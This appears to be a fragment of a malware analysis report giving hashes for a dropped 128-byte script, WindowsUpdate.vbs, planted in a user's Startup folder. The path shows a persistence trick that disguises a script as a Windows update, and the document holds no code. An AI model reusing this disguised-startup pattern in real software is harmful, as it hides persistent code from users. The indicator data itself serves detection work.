- SSDEEP 96:91SuhhaJThZL5zNJnLNuwVF4esgGYjnb8i/SqjgkhXLbJRBir8:nSuLa5hZL5zTkwH4TgGY38i/9/VJrir8
- TLSH T135D1836366630816B22785A43EE3D74E33384003A207AB397FDC6485DF8D99CD677788
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.vbs
- Size 128B
- SHA256 f0a6f60d1b23f58976fdbee8d0e36d0794e95aeddf786c6e97fdb0af4cdc5845
- MD5 7b0b153b564a5d6043722746a9cac16f
- SHA1 21643a1d193056d4aa537e875bd2d43c8879a03d
- SHA512 ae66418715a21919cf50334a297f0180bb8e6f53f1f0b24b5bfbfbc32155d6c1ca1adc83bef51c981645e2dd30a2819229c6e74ab20b66ceb1974c869c44231d
- TLSH T1D9B02B02D80CFA3C301484BB0F3DCA0CCDD05404200631306F04C01C3498984CC83041
- MD5 SHA1 SHA512 TLSH